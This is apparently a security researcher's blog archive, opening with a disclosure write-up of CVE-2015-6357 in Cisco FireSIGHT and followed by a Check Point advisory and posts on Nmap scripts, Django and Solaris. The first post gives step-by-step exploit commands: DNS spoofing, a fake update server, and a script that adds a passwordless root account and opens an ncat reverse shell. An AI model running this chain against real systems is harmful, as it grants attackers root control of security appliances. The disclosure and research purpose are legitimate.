Monday, 16 November 2015

CVE-2015-6357: FirePWNER Exploit for Cisco FireSIGHT Management Center SSL Validation Vulnerability

Introduction

On its own the Cisco FireSIGHT Management Center Certificate Validation Vulnerability is a medium severity vulnerability with a CVSS of 5.1. However, this vulnerability is an example of why SSL certificate validation is so important. In this exploit I will demonstrate how the vulnerability can be leveraged to obtain privileged remote command execution on a Cisco FireSIGHT system. The exploit chains the SSL validation vulnerability with the software update process on the Cisco FireSIGHT system to trick the target system into downloading a malicious update and executing it to obtain a reverse shell with root privileges.

AND THAT'S WHY YOU SHOULD ALWAYS VALIDATE SSL CERTIFICATES

The Vulnerability

The Cisco FireSIGHT Management Center appliance is used to manage Cisco FirePOWER Intrusion Prevention Systems (IPS), also known as Sourcefire IPS. FireSIGHT is responsible for downloading updated IPS signatures and installing them on managed IPS devices.

The FireSIGHT Management Center allows an administrator to manually initiate an update of the IPS rules or schedule the updates to occur daily/weekly/monthly.

When the FireSIGHT Management Center performs an update it uses the curl UNIX command to perform the download from Sourcefire Support. The invocation of the curl command is passed the -k (aka --insecure) option which tells curl to not validate any SSL certificates presented by the server.

Here is the the ps output of the server downloading an update:

admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh

FireSIGHT updates come in the form of a makeself generated shell script that contains both UNIX Bourne shell commands as well as the binary data to be delivered in the update. These shell update shell scripts are executed directly on the FireSIGHT server as the local www user.

An attacker that is able to perform a man in the middle attack against a FireSIGHT server can force it to connect to a spoofed version of the Sourcefire Support web site and download a malicious update script that will execute any command the attacker wishes on the FireSIGHT server.

The SSL Validation vulnerability enables this to occur resulting in the system happily ignoring the attackers spoofed SSL certificate and downloading the malicious update and executing it.

If the curl command were to validate the SSL certificate then it would fail to download the malicious script and protect the FireSIGHT server from the attacker.

This exploit demonstrates the danger of not validating the SSL certificate by exploiting the vulnerability to gain remote command execution as the root user.

The Attack Scenario

The attack scenario is one where an attacker has attained the ability to man in the middle the traffic from the FireSIGHT server to the https://support.sourcefire.com web site. The simplest way to demonstrate this is to set up a “compromised” DNS server that responds to queries for the domain support.sourcefire.com with the IP address of a web server that the attacker controls.

In a real attack scenario the attacker may use any number of man in the middle techniques to acheive the same means. Such as:

  • DNS cache poisioning
  • ARP spoofing. e.g ettercap.

This exploit was tested against the following FireSIGHT Virtual Appliance versions:

  • 5.2.0
  • 5.3.0
  • 5.4.0
  • 5.4.1.1
  • 5.4.1.2

In the PoC below the FireSIGHT server was assigned the IP address 192.168.1.99.

The attacking host was running Kali Linux 2.0 though the set up below should work on any Debian Linux based server. The IP address of the Kali host in the example below is 192.168.1.1. The Kali host is used to run the DNS server as well as the spoofed Sourcefire Support web site.

Set up dnsmasq

The exploit requires the ability to spoof the DNS response for support.sourcefire.com. A dnsmasq server is run to provide this capability and act as the “compromised” DNS server.

Install dnsmasq:

root@kali# apt-get install dnsmasq

Configure dnsmasq:

root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF

Edit the IP address on the address line to be the address of the web server you will serve the updates from.

Start dnsmasq:

root@kali# service dnsmasq start

Set up nginx

A web server is required to serve the exploit to the FireSIGHT server when it requests an update.

Install nginx web server:

root@kali# apt-get install nginx

Create a self signed certificate to impersonate support.sourcefire.com:

root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:

Configure nginx by replacing the contents of /etc/nginx/sites-available/default with:

server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name support.sourcefire.com;
    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;
    }

    # rewrite requests that contain the clients license key
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
    }

    location /auto-update {
        root /var/www/html/firepwner;
    }

}

Start nginx:

root@kali# service nginx start

Setting up the exploit

The FirePWNER exploit requires two files to be served from the web server. The first file is the update manifest which is an XML file that contains a list of the updates available, their download location and MD5 hashes.

First you need to create some directories:

root@kali# mkdir \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}

Then copy the exploit files into them:

root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh

After copying these files you should be able to browse to http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml

Configure the FireSIGHT server DNS

Next, for exploit demonstration purposes, the FireSIGHT server needs to be configured to use the “compromised” DNS server. Login to the FireSIGHT web portal and go to System > Local > Configure > Management Interfaces and set the Primary DNS server to the IP address of the “compromised” DNS server (192.168.1.1) and save the change.

Running the Exploit

The exploit uses the ncat command installed by default on the FireSIGHT server to create a reverse shell to the Kali host. On the Kali host you need to listen for the reverse shell connection from the FireSIGHT server:

root@kali# ncat -v -l 4444

Then on the FireSIGHT web portal browse to System > Updates > Rule Updates and select Download new rule update from the Support Site and click the Import button. The server will then download the sf.xml update manifest from the attacker’s server, see that there is an update available and will download the update and execute it as the www user. The update/exploit script below takes advantage of the fact that the www user has a number of sudo commands it can run including useradd. The exploit creates a new toor user with an empty passwd and then uses su to elevate privileges and start a reverse shell connection back to the attackers server.

#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0

The exploit script may be changed to run any other desired commands. If the script is changed then the <md5sum> XML tag value in sf.xml must be updated with the new MD5 hash of the exploit script.

This is an example of the output you should see on the Kali host when the exploit is successful and a remote shell on the FireSIGHT server is opened and the id and cat /etc/passwd commands are run:

root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::

Obtaining the Exploit

The files used in this exploit may be obtained from github.

Disclosure Timeline

  • 2015-08-31 Vulnerability discovered in FireSIGHT 5.4.x and exploit developed by Matthew Flanagan.
  • 2015-09-01 Initial contact made with Cisco PSIRT psirt@cisco.com.
  • 2015-09-01 PSIRT responded asking for more information.
  • 2015-09-01 Matthew Flanagan provided PSIRT with full write up and exploit of vulnerability.
  • 2015-09-02 PSIRT raised FireSIGHT defect and incident PSIRT-190974966.
  • 2015-09-15 Matthew Flanagan reported to Cisco PSIRT that versions 5.2.0 and 5.3.0 are also vulnerable.
  • 2015-10-16 PSIRT advised me of the CVSS score they assigned to the vulnerability.
  • 2015-11-09 PSIRT assigned CVE ID CVE-2015-6357.
  • 2015-11-16 Cisco FireSIGHT Management Center Certificate Validation Vulnerability published.
  • 2015-11-16 Matthew Flanagan’s findings published.

Thursday, 9 April 2015

Project Repositories Have Moved to GitHub

With Google announcing last month that they are shutting down Google Code I have moved my old and unloved code repositories to GitHub. The main code base that seems to still be in use by others is the Django Full Serializer which I may split out into its own repository one day.

Friday, 9 March 2012

Creating Stronger Self-Signed SSL Certificates For Testing

I prefer to use Google Chrome (developer channel) as my web browser and recently it began complaining about the self-signed SSL certificates I was using on a number of internal web applications I have developed. The error Chrome displayed was:


SSL Error Icon
The site's security certificate is signed using a weak signature algorithm!
[snip]


I originally created the certificates using the instructions in the Apache SSL FAQ. It turns out that this results in SSL certificates that use the weaker MD5 signature hash algorithm which is the cause of the complaint. This is easily fixed by adding '-sha1' to the openssl command line when generating the certificate. Like so:

$ openssl req -new -x509 -sha1 -nodes -out server.crt -keyout server.key

Tuesday, 16 August 2011

Security Advisory: Symlink Following and Second-Order Symlink Vulnerabilities in Multiple Check Point Security Management Products

Product: Check Point Security Management:
  • Multi-Domain Security Management / Provider-1
  • SmartCenter
Vulnerable version: multiple products, see sections below
Fixed version: multiple products, see sections below
CVE number: CVE-2011-2664
Impact: high
Homepage: http://www.checkpoint.com
Found: 2010-08-13
By: Matthew Flanagan http://wadofstuff.blogspot.com

Vendor Product Description

Security Management

Security Management and Multi-Domain Security Management (Provider-1) delivers more security and control by segmenting your security management into multiple virtual domains. Businesses of all sizes can easily create virtual domains based on geography, business unit or security function to strengthen security and simplify management.

UTM-1 Edge


Check Point UTM-1 Edge appliances deliver proven, best-in-class security right out of the box! These simple, all-in-one appliances allow branch offices to deploy comprehensive security quickly and easily. These appliances offer robust performance, powerful central management and advanced wireless options.

Vulnerability Description

A post-installation shell script is executed both in the provisioning of a Security Management Domain and installation of a standalone SmartCenter. The script is used to generate a configuration file for use by the SofaWare Management Server (SMS). The SMS is used to send all configuration changes performed in the SmartCenter/Management Domain to UTM-1 Edge devices. UTM-1 Edge devices also communicate their status to the SmartCenter/Management Domain via SMS.

Due to the combination of inadequate file checks, predictable file names and writing of temporary configuration files to /tmp it is possible for a unprivileged local user to exploit the post-installation script to overwrite arbitrary files on the security management system through symlink following.

The script also contains a second-order symlink vulnerability which makes it possible for an attacker to gain control of the SMS configuration file: $FWDIR/conf/sofaware/SWManagementServer.ini. The SWManagementServer.ini file contains sensitive information and configuration parameters for the management of UTM-1 Edge firewall appliances such as firmware versions, mail proxies, logging levels, and many timeout and polling intervals for various software components running on the Edge devices.

The likelhood of exploiting this vulnerability on a server running SmartCenter is low due to it only being exploitable during the installation of the software. However, for Management Domains running on a Multi-Domain Management / Provider-1 server the likelihood is much higher as the vulnerability can be exploited every time a new Management Domain is created.

Exploit

An exploit will not be published.

Vulnerable Versions

R65.70
R70.40
R71.30
R75.10

On Linux, SecurePlatform and Solaris.

Solution

Fixed in R71.40 and R75.20. Other versions can get fix from Check Point
advisory page.

Advisories

https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk63565

Vendor Contact Timeline

2010-08-16: Contacted Check Point security team security-alert () checkpoint.com.
2010-08-16: Vendor responded.
2010-08-16: Provided vulnerability details and exploit to vendor.
2010-08-18: Vendor confirmation of vulnerability.
2010-08-26: Requested a status update from the vendor.
2010-08-28: Vendor: working on a fix and release plan.
2011-05-31: Requested a status update from the vendor.
2011-06-01: Vendor: Fixed in R75. Advisory to be released on 2011-06-15.
2011-06-06: Advised vendor that R75 GA and R75.10 are still vulnerable.
2011-06-06: Applied for CVE number from MITRE.
2011-06-07 - 2011-06-14: Coordinated fix and advisory release with Check Point.
2011-06-14: Sent more details to MITRE.
2011-06-15: Vendor publishes advisory and fix.
2011-06-16: Contacted AusCERT.
2011-07-06: Asked MITRE for status of CVE number allocation.
2011-07-07: Assigned CVE number by MITRE.
2011-08-16: Released advisory.

Tuesday, 12 July 2011

SST/JASS 4.2.2 is out

Jason Callaway has posted a new version of SST (aka JASS). The new release of version 4.2.2 addresses a change in passwd behaviour in relation to locking NP accounts.

Download the new version.

Tuesday, 14 June 2011

Django gets support for IPv6 fields

My favorite web development framework recently committed some code to add support for IPv6 addresses in data models. The commit closes a ticket I opened 6 years ago. Congratulations to Erik Romijn for finally closing this off. Better late than never :)

The new code differs from my original code in a number of ways. First of all it has better testing and documentation. Second, it does IPv6 address validation programmatically rather than using a regular expression.

The code also borrows from ipaddr-py, which I also contribute to.

A variation on my original code is still running and has been used to manage IPv6 addresses so I can vouch for it. Most of my code doesn't actually use IPAddressFields in Django because of this even older issue which was fixed 3 years ago.

Now both of them are fixed I might look at using the new fields.

Tuesday, 22 February 2011

Service Tags Nmap Script Accepted

The Nmap NSE script to probe for Sun Service Tags that I wrote last December has been committed to the Nmap trunk. Many thanks to David Fifield for his advice, testing and elegant refactoring of my newbie LUA code to make it more robust.

I expect the code will live on in the Nmap subversion repository rather than my own from now on. If you'd like to use the script you can get it from here or wait until the next release of Nmap to come out.

Tuesday, 14 December 2010

Sun Service Tags Nmap Discovery Script

Oracle/Sun has had a software agent available for a few years now that runs on numerous operating systems (Solaris 8,9,10, RHEL, OEL, SuSE, and Windows) which enables automatic discovery of assets including software and hardware. The agent is called Sun Service Tags and it provides a way to query a system over a LAN and find out about the hardware, OS, and some of the software installed on it (I say some because the software developer has to register their application at install time with Service Tags and not many outside of Oracle/Sun seem to).

I was inspired last week by a colleague who was looking at installing a Cisco Discovery Protocol (CDP) agent on his Solaris systems so he could easily get an inventory of his network via his routers and switches with the show cdp neighbor command. I pointed out to him that his Solaris systems very likely had Service Tags already installed on them and he could just query that.

To prove the point a set out to write an Nmap script that could scan a host or network and display all the Service Tags information it could find for each host. The nmap script can be downloaded here and needs to be installed in /usr/local/share/nmap/scripts (or where ever your nmap stores them).

You can see some sample usage output below:

# nmap -sU --script=servicetags -p 6481 1.1.1.1

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-12-14 15:57 EST
Nmap scan report for host.example.com (1.1.1.1)
Host is up (0.00045s latency).
PORT STATE SERVICE
6481/udp open unknown
| servicetags:
| URN: urn:st:3bf76681-5e68-415b-f980-db3d77fda252
| System: SunOS
| Release: 5.10
| Hostname: host
| Architecture: sparc
| Platform: SUNW,SPARC-Enterprise-T5120::Generic_142900-13
| Manufacturer: Sun Microsystems, Inc.
| CPU Manufacturer: Sun Microsystems, Inc.
| Serial Number: ABC123456
| HostID: 12345678
| RAM: 16256
| CPUs: 1
| Cores: 4
| Virtual CPUs: 32
| CPU Name: UltraSPARC-T2
| CPU Clock Rate: 1165
| Service Tags
| Solaris 10 Operating System
| Product Name: Solaris 10 Operating System
| Instance URN: urn:st:90592a79-974d-ebcc-c17a-b87b8eee5f1f
| Product Version: 10
| Product URN: urn:uuid:5005588c-36f3-11d6-9cec-fc96f718e113
| Product Parent URN: urn:uuid:596ffcfa-63d5-11d7-9886-ac816a682f92
| Product Parent: Solaris Operating System
| Product Defined Instance ID:
| Timestamp: 2010-08-10 07:35:40 GMT
| Container: global
| Source: SUNWstosreg
| SUNW,SPARC-Enterprise-T5120 SPARC System
| Product Name: SUNW,SPARC-Enterprise-T5120 SPARC System
| Instance URN: urn:st:51c61acd-9f37-65af-a667-c9925a5b0ee9
| Product Version:
| Product URN: urn:st:hwreg:SUNW,SPARC-Enterprise-T5120:Sun Microsystems:sparc
| Product Parent URN: urn:st:hwreg:System:Sun Microsystems
| Product Parent: System
| Product Defined Instance ID:
| Timestamp: 2010-08-10 07:35:41 GMT
| Container: global
| Source: SUNWsthwreg
| Explorer
| Product Name: Explorer
| Instance URN: urn:st:2dc5ab61-9bb5-409b-e910-fa39840d0d85
| Product Version: 6.4
| Product URN: urn:uuid:9cb70a38-7d15-11de-9d26-080020a9ed93
| Product Parent URN:
| Product Parent:
| Product Defined Instance ID:
| Timestamp: 2010-08-10 07:35:42 GMT
| Container: global
|_ Source: Explorer

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
As you can see it reveals quite a bit of information about the system including the hostname, OS version and kernel patch revision, serial number, host id, RAM, number of CPUs and core, etc etc. Very useful for system administrators and hackers alike!

This was my first foray into writing in the Lua scripting language so I have probably made some mistakes and would appreciate some feedback if you find any bugs or have any suggestions.

Wednesday, 10 November 2010

Oracle Solaris Summit - Solaris 11

The live stream and slides for the Oracle Solaris Summit have been posted here.

The slides cover a range of topics on Solaris 11. Of interest are the Image Packaging System and Deploying Oracle Solaris 11 in the Enterprise presentations.

The lack of custom scripting hooks in both IPS and the new installer, AI, should be of a concern to anyone who has large customized Jumpstart environments. Don't hold your breath waiting for these features to come either. You'd be better off putting time and effort porting your build environment to something like Puppet or Chef and just using Jumpstart/AI to put the basic bits onto disk.


Thursday, 9 September 2010

Wednesday, 1 September 2010

Oracle Solaris 10 9/10

Solaris 10 Update 9 appears to be almost out the door. The Release Notes and What's New are available but not directly linked from the front page of docs.sun.com yet.


Highlights:
  • Oracle Solaris Auto Registration is built in to the installer.
  • Triple Parity RAID-Z (raidz3)
  • zpool split for splitting mirrored pools.
  • HP Smart Array HBA driver is bundled.
  • BIND 9.6.1 DNS server

Wednesday, 25 November 2009

Package Installation Do's and Don'ts

An important note from Gerry Haskins: Do not apply packages from one Update onto a system installed with a different Update.

Cherry picking packages from a newer Solaris 10 update and installing them on a system running an older update will result in an unsupported configuration and likely lead to system corruption.

Note also that adding a package from the same update means that you will have to re-apply all the patches already on the system to bring the new package to the same level as the rest of the system.

Tuesday, 17 November 2009

Behaviour Driven Infrastructure

I've been following the development of puppet for many years and this gem of a thread caught my attention recently. Martin Englund asks the Puppet Users mailing list:
how do you validate that puppet has done what it is supposed to, and even troublesome, how you validate that it has done what you intended it to do?
This is something I've struggled with over the years with my JASS/SST-based jumpstart build system. I've gone so far as to automate the build testing process using buildbot and pass or fail a build by using regexps to search for errors in the installation process. But my testing ends when the console login prompt appears. Validating whether a system build functions as intended is beyond what I currently test now and even beyond the capabilities of puppet.

This is where Martin's Behaviour Driven Infrastructure (BDI) approach comes into play. Martin is using Cucumber, a Behaviour Driven Development testing tool, to describe a system's behaviour using natural language that is readable and easy to understand by non-technical users (i.e. your IT helpdesk or even your business stakeholders).

Where this really gets interesting is combining puppet, cucumber and a monitoring system such as Nagios to do Test Driven Infrastructure. For example, you can use cucumber-nagios to integrate your cucumber tests with Nagios, then write a test for a new feature you want the system to have, e.g. "Should be able to send email". Initially this would result in Nagios marking the system as having a fault because you haven't yet implemented the feature that passes the test. You then proceed to implement the feature using puppet such that the test passes.

Over time I would imagine the amount of test coverage to grow such that system behaviours like DNS resolution, LDAP authentication, host based firewall policies etc would be tested. Any change to the system that broke one of these tests could be quickly pinpointed and fixed.

A perfect example in the Solaris world is the application of the latest recommended patches to a box. At a minimum it tends to break the sendmail and snmpd configs on my systems and I know to manually backup and restore these files before and after applying the patches. With BDI combined with a monitoring system you could be alerted to these breakages or any others that you weren't previously aware of and rapidly respond to them.

Brilliant!

Thursday, 8 October 2009

Speaking of Solaris 10 Update 8...

You can now read about What's New.

Quite a few ZFS changes including Flash Archive support integrated into installer, cache devices, and a bunch of new properties that breakdown space usage by child dataset, snapshot, etc.

Solaris 10 Kernel PatchID Sequence - Patch Corner

Watch this page Solaris 10 Kernel PatchID Sequence - Patch Corner. It is regularly updated with the Solaris 10 kernel patch IDs as well as the sustaining patch IDs. Solaris 10 Updates 8 and 9 have just been added.

Sunday, 16 August 2009

Improvements to Solaris 10 Recommended and Sun Alert Patch Clusters released

Sun have made quite a significant revamp to the Solaris 10 Recommended and Sun Alert patch clusters.

  • Filtering out "false negatives" from the patch utility return codes.
  • The new 'installcluster' script will exit as soon as it encounters an unexpected failure.
  • The new 'installcluster' script includes context intelligence for patching operations.
  • The new 'installcluster' script provides better integration with Solaris Live Upgrade.
  • The new 'installcluster' script performs space checking prior to installing each patch, and will halt if it believes there is insufficient space to complete the installation successfully.
  • The messages and log files produced by the 'installcluster' script are clear and well structured. For example, a "failed" log is created if a patch fails to apply.
  • The 'patch_order' places patches in an optimal order for installation to avoid known issues.
  • The patches have been moved to a 'patches' sub-directory, to de-clutter the top level directory of the unzipped cluster.
  • Please see the cluster README file for further information. Customers should read the cluster README file and look at the Special Install Instructions in the patches within the cluster prior to installation.

They have also improved the QA process so that patch clusters get tested prior to release. Amazing!

Wednesday, 12 August 2009

Requiring at least one inline FormSet

Last month I posted an article about my Improved Django FormWizard, well this month I've release a simple subclass of Django's BaseInlineFormSet that demonstrates how you can require a user to enter at least one entry in an inline formset.

After updating to wadofstuff.django.forms 1.1.0 you can use the RequireOneFormSet class as the formset argument to inlineformset_factory().

When the formset is validated and it does not contain one or more entries, then a ValidationError is raised which gets put into formset.non_form_errors. You will need to check this in your templates if you wish to display the error message to your users.

Saturday, 25 July 2009

Inlines support for Django generic views

Django's excellent Generic Views provide developers with most of what they need to get a site up and running (if they aren't using the Admin of course). The flexibility of these views is such that for most sites you don't need much else. Extending these views is also well documented and probably covers off 95% of the situations where the plain generic views fall short.

In a recent project I found another area where the generic views fall short: inline formsets.

I have added the ability to use inline formsets in generic views. The new view functions are drop in replacements for Django's with the addition of a new inlines argument.

Installation

From Source

Download wadofstuff-django-views.

To install it, run the following command inside the unpacked source directory:

python setup.py install

From pypi

If you have the Python easy_install utility available, you can
also type the following to download and install in one step:

easy_install wadofstuff-django-views

Or if you're using pip:

pip install wadofstuff-django-views

Or if you'd prefer you can simply place the included wadofstuff
directory somewhere on your Python path, or symlink to it from
somewhere on your Python path; this is useful if you're working from a
Subversion checkout.

Note that this application requires Python 2.4 or later. You can obtain
Python from http://www.python.org/.

Usage

wadofstuff.django.views.create_object(..., inlines=None)
wadofstuff.django.views.update_object(..., inlines=None)

These functions are identical to the Django ones except for the addition of the
inlines argument. This argument consists of a list of dictionaries that will
be passed as arguments after the parent_model argument to
inlineformset_factory(parent_model, ...).

For example, arguments to a generic view might typically look like:
crud_dict = {
'model':Author
'inlines':[{
'model':Book,
'extra':2,
'form':BookForm,
},{
'model':Article,
}],
# ... other generic view arguments
}
would translate to calls to inlineformset_factory() like:

inlineformset_factory(Author, model=Book, extra=2, form=BookForm)

and

inlineformset_factory(Author, model=Article)

The view function will create a formset for each inline model and add them to the template context. In the example above the context variables would be named book_formset and article_formset.

Update: A quick change to allow the views to be imported from wadofstuff.django.views. Bumped version to 1.0.1.

Tuesday, 21 July 2009

Atom Feed for SVN Commit Log

Recently the developers of Extjs added a page that opened up their subversion commit log so users could see what was being added/fixed. Unfortunately they decided to only publish it using the output of svn log -v --xml rendered in an Ext.grid.GridPanel.

It is a nice example of what you can do with their framework, but this format is not so friendly to use or keep tabs on so I've created a mashup that converts it to Atom Syndication Format so interested users can subscribe to it in their favourite feed reader.

The URL to subscribe to is http://feeds.feedburner.com/ExtjsSvnCommitLog. I'm hoping the developers publish their own feed soon. If they do then I'll stop mine.

Here is the script I wrote to convert it to Atom. Witha few tweaks it should be usable for any SVN commit log.

My first attempt at this was to use Yahoo! Pipes to try and munge it but I couldn't get it to work. I'd be interested to see if Pipes was capable of doing this.

Since writing it I also found this XSLT script that does something similar.


Update: I've cleaned the script up and made if reusable for any SVN log source. See the documentation for details on how to use it.

Improved Django FormWizard

A few months back I had a project that I thought needed a wizard-style interface for one of its forms. For a while now Django has included the FormWizard class in django.contrib.formtools.wizard so I decided to use that. However, I immediately hit a couple of issues with it.

FormWizard requires you to output the previous_fields context variable in each of the form's step templates. Django's FormWizard previous_fields is just a string of raw HTML. If you are using some other kind of markup to do your forms e.g. XForms, or even javascript widgets from dojo or extjs, then this is no good.

I quickly came up with a fix for this and opened #10557 which has now been slated to be included in Django 1.2.....

Wait a minute! Django 1.1 isn't even out yet!

The second issue was that FormWizard didn't handle FormSets.

Who knows when 1.2 will be out so I've bundled up my code and released it as wadofstuff.django.forms 1.0.0.

From the README:

Functions

security_hash(request, form, exclude=None, *args)

Calculates a security hash for the given Form/FormSet instance.

This creates a list of the form field names/values in a deterministic
order, pickles the result with the SECRET_KEY setting, then takes an md5
hash of that.

Allows a list of form fields to be excluded from the hash calculation. This
is useful form fields that may have their values set programmatically.

Classes

BoundFormWizard

A subclass of Django's FormWizard that adds the following functionality:
  • Renders previous_fields as a list of bound form fields in the template context rather than as raw html.
  • Can handle FormSets.
The usage of this class is identical to that documented here with the exception that when rendering previous_fields you should change your wizard step templates from:

{{ previous_fields|safe }}

to:

{% for f in previous_fields %}{{ f.as_hidden }}{% endfor %}

The latest stable release for the forms module can be obtained by:


Note: The BoundFormWizard class can only handle regular FormSets and not ModelFormSets. I have ModelFormWizard class that I'll be adding to a future release that can handle simple Models.